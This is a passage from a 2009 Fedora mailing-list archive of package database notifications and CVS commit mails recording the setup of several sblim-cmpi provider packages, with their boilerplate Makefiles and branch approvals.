for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:41:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:41:17 +0000
Subject: [pkgdb] sblim-cmpi-dns summary updated by kevin
Message-ID: <20091022044117.397E610F880@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-dns summary to CMPI Dns Provider

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dns



From pkgdb at fedoraproject.org  Thu Oct 22 04:41:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:41:14 +0000
Subject: [pkgdb] sblim-cmpi-dns was added for vcrhonek
Message-ID: <20091022044114.CE8BC10F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-dns with summary CMPI Dns Provider
kevin has approved Package sblim-cmpi-dns
kevin has added a Fedora devel branch for sblim-cmpi-dns with an owner of vcrhonek
kevin has approved sblim-cmpi-dns in Fedora devel
kevin has approved Package sblim-cmpi-dns
kevin has set commit to Approved for 107427 on sblim-cmpi-dns (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dns (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-dns (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dns



From pkgdb at fedoraproject.org  Thu Oct 22 04:41:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:41:17 +0000
Subject: [pkgdb] sblim-cmpi-dns (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044117.48E9E10F891@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-dns
kevin has set commit to Approved for 107427 on sblim-cmpi-dns (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dns (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-dns (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dns



From pkgdb at fedoraproject.org  Thu Oct 22 04:41:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:41:17 +0000
Subject: [pkgdb] sblim-cmpi-dns (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044117.669D110F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-dns
kevin has set commit to Approved for 107427 on sblim-cmpi-dns (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dns (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-dns (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dns



From pkgdb at fedoraproject.org  Thu Oct 22 04:41:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:41:17 +0000
Subject: [pkgdb] sblim-cmpi-dns (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044117.89C2510F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-dns
kevin has set commit to Approved for 107427 on sblim-cmpi-dns (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dns (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-dns (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dns



From pkgdb at fedoraproject.org  Thu Oct 22 04:41:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:41:17 +0000
Subject: [pkgdb] sblim-cmpi-dns (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044117.9622610F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-dns
kevin has set commit to Approved for 107427 on sblim-cmpi-dns (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dns (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-dns (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dns



From pkgdb at fedoraproject.org  Thu Oct 22 04:41:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:41:17 +0000
Subject: [pkgdb] sblim-cmpi-dns (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044117.99E7410F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-dns
kevin has set commit to Approved for 107427 on sblim-cmpi-dns (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dns (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-dns (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dns



From kevin at fedoraproject.org  Thu Oct 22 04:41:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:41:32 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns - New directory
Message-ID: <20091022044132.1C8A311C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-dns
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg31179/rpms/sblim-cmpi-dns

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-dns added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:41:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:41:32 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/devel - New directory
Message-ID: <20091022044132.431C011C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-dns/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg31179/rpms/sblim-cmpi-dns/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-dns/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:41:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:41:38 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns Makefile,NONE,1.1
Message-ID: <20091022044138.F3CEE11C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-dns
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg31179/rpms/sblim-cmpi-dns

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-dns


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-dns
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:41:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:41:39 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022044139.3D14511C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-dns/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsg31179/rpms/sblim-cmpi-dns/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-dns


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-dns
# $Id: Makefile,v 1.1 2009/10/22 04:41:39 kevin Exp $
NAME := sblim-cmpi-dns
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:43:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:43:35 +0000
Subject: [pkgdb] sblim-cmpi-samba summary updated by kevin
Message-ID: <20091022044335.52D0110F87F@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-samba summary to CMPI Samba Provider

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-samba



From pkgdb at fedoraproject.org  Thu Oct 22 04:43:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:43:33 +0000
Subject: [pkgdb] sblim-cmpi-samba was added for vcrhonek
Message-ID: <20091022044333.5F88E10F85A@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-samba with summary CMPI Samba Provider
kevin has approved Package sblim-cmpi-samba
kevin has added a Fedora devel branch for sblim-cmpi-samba with an owner of vcrhonek
kevin has approved sblim-cmpi-samba in Fedora devel
kevin has approved Package sblim-cmpi-samba
kevin has set commit to Approved for 107427 on sblim-cmpi-samba (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-samba (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-samba (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-samba



From pkgdb at fedoraproject.org  Thu Oct 22 04:43:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:43:35 +0000
Subject: [pkgdb] sblim-cmpi-samba (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044335.5F80810F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-samba
kevin has set commit to Approved for 107427 on sblim-cmpi-samba (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-samba (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-samba (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-samba



From pkgdb at fedoraproject.org  Thu Oct 22 04:43:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:43:35 +0000
Subject: [pkgdb] sblim-cmpi-samba (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044335.5CB6010F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-samba
kevin has set commit to Approved for 107427 on sblim-cmpi-samba (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-samba (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-samba (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-samba



From pkgdb at fedoraproject.org  Thu Oct 22 04:43:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:43:35 +0000
Subject: [pkgdb] sblim-cmpi-samba (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044335.7129510F8A2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-samba
kevin has set commit to Approved for 107427 on sblim-cmpi-samba (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-samba (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-samba (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-samba



From pkgdb at fedoraproject.org  Thu Oct 22 04:43:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:43:35 +0000
Subject: [pkgdb] sblim-cmpi-samba (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044335.7BA1110F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-samba
kevin has set commit to Approved for 107427 on sblim-cmpi-samba (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-samba (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-samba (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-samba



From pkgdb at fedoraproject.org  Thu Oct 22 04:43:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:43:35 +0000
Subject: [pkgdb] sblim-cmpi-samba (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044335.85FE410F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-samba
kevin has set commit to Approved for 107427 on sblim-cmpi-samba (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-samba (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-samba (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-samba



From kevin at fedoraproject.org  Thu Oct 22 04:43:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:43:43 +0000 (UTC)
Subject: rpms/sblim-cmpi-samba - New directory
Message-ID: <20091022044343.1DDF411C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-samba
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa31908/rpms/sblim-cmpi-samba

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-samba added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:43:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:43:43 +0000 (UTC)
Subject: rpms/sblim-cmpi-samba/devel - New directory
Message-ID: <20091022044343.3B09111C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-samba/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa31908/rpms/sblim-cmpi-samba/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-samba/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:43:49 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:43:49 +0000 (UTC)
Subject: rpms/sblim-cmpi-samba Makefile,NONE,1.1
Message-ID: <20091022044349.DC64011C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-samba
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa31908/rpms/sblim-cmpi-samba

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-samba


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-samba
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:43:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:43:50 +0000 (UTC)
Subject: rpms/sblim-cmpi-samba/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022044350.1186011C0297@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-samba/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa31908/rpms/sblim-cmpi-samba/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-samba


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-samba
# $Id: Makefile,v 1.1 2009/10/22 04:43:49 kevin Exp $
NAME := sblim-cmpi-samba
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:44:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:44:15 +0000
Subject: [pkgdb] sblim-cmpi-nfsv4 was added for vcrhonek
Message-ID: <20091022044416.0F4B610F85A@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-nfsv4 with summary SBLIM Nfsv4 Providers
kevin has approved Package sblim-cmpi-nfsv4
kevin has added a Fedora devel branch for sblim-cmpi-nfsv4 with an owner of vcrhonek
kevin has approved sblim-cmpi-nfsv4 in Fedora devel
kevin has approved Package sblim-cmpi-nfsv4
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv4



From pkgdb at fedoraproject.org  Thu Oct 22 04:44:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:44:17 +0000
Subject: [pkgdb] sblim-cmpi-nfsv4 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044417.ED88B10F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-nfsv4
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv4



From pkgdb at fedoraproject.org  Thu Oct 22 04:44:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:44:17 +0000
Subject: [pkgdb] sblim-cmpi-nfsv4 summary updated by kevin
Message-ID: <20091022044417.D47C610F89A@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-nfsv4 summary to SBLIM Nfsv4 Providers

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv4



From pkgdb at fedoraproject.org  Thu Oct 22 04:44:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:44:17 +0000
Subject: [pkgdb] sblim-cmpi-nfsv4 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044418.0D04B10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-nfsv4
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv4



From pkgdb at fedoraproject.org  Thu Oct 22 04:44:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:44:17 +0000
Subject: [pkgdb] sblim-cmpi-nfsv4 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044418.3E29910F880@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-nfsv4
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv4



From pkgdb at fedoraproject.org  Thu Oct 22 04:44:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:44:17 +0000
Subject: [pkgdb] sblim-cmpi-nfsv4 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044418.51AB810F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-nfsv4
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv4



From pkgdb at fedoraproject.org  Thu Oct 22 04:44:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:44:17 +0000
Subject: [pkgdb] sblim-cmpi-nfsv4 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044418.6CD4210F8B8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-nfsv4
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv4 (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv4



From kevin at fedoraproject.org  Thu Oct 22 04:44:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:44:26 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv4 - New directory
Message-ID: <20091022044426.15D9811C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-nfsv4
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF32342/rpms/sblim-cmpi-nfsv4

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-nfsv4 added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:44:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:44:26 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv4/devel - New directory
Message-ID: <20091022044426.3C9B611C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-nfsv4/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF32342/rpms/sblim-cmpi-nfsv4/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-nfsv4/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:44:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:44:32 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv4 Makefile,NONE,1.1
Message-ID: <20091022044432.E8C1011C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-nfsv4
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF32342/rpms/sblim-cmpi-nfsv4

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-nfsv4


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-nfsv4
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:44:33 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:44:33 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv4/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022044433.2621811C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-nfsv4/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF32342/rpms/sblim-cmpi-nfsv4/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-nfsv4


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-nfsv4
# $Id: Makefile,v 1.1 2009/10/22 04:44:33 kevin Exp $
NAME := sblim-cmpi-nfsv4
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:44:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:44:58 +0000
Subject: [pkgdb] sblim-cmpi-sysfs was added for vcrhonek
Message-ID: <20091022044458.CFD4D10F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-sysfs with summary SBLIM Sysfs Providers
kevin has approved Package sblim-cmpi-sysfs
kevin has added a Fedora devel branch for sblim-cmpi-sysfs with an owner of vcrhonek
kevin has approved sblim-cmpi-sysfs in Fedora devel
kevin has approved Package sblim-cmpi-sysfs
kevin has set commit to Approved for 107427 on sblim-cmpi-sysfs (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-sysfs (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-sysfs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-sysfs



From pkgdb at fedoraproject.org  Thu Oct 22 04:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:45:00 +0000
Subject: [pkgdb] sblim-cmpi-sysfs summary updated by kevin
Message-ID: <20091022044500.9DF3210F880@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-sysfs summary to SBLIM Sysfs Providers

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-sysfs



From pkgdb at fedoraproject.org  Thu Oct 22 04:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:45:00 +0000
Subject: [pkgdb] sblim-cmpi-sysfs (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044500.ABB8310F88F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-sysfs
kevin has set commit to Approved for 107427 on sblim-cmpi-sysfs (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-sysfs (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-sysfs (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-sysfs



From pkgdb at fedoraproject.org  Thu Oct 22 04:45:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:45:00 +0000
Subject: [pkgdb] sblim-cmpi-sysfs (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022044500.BC4D610F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-sysfs
kevin has set commit to Approved for 107427 on sblim-cmpi-sysfs (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-sysfs (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-sysfs (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-sysfs



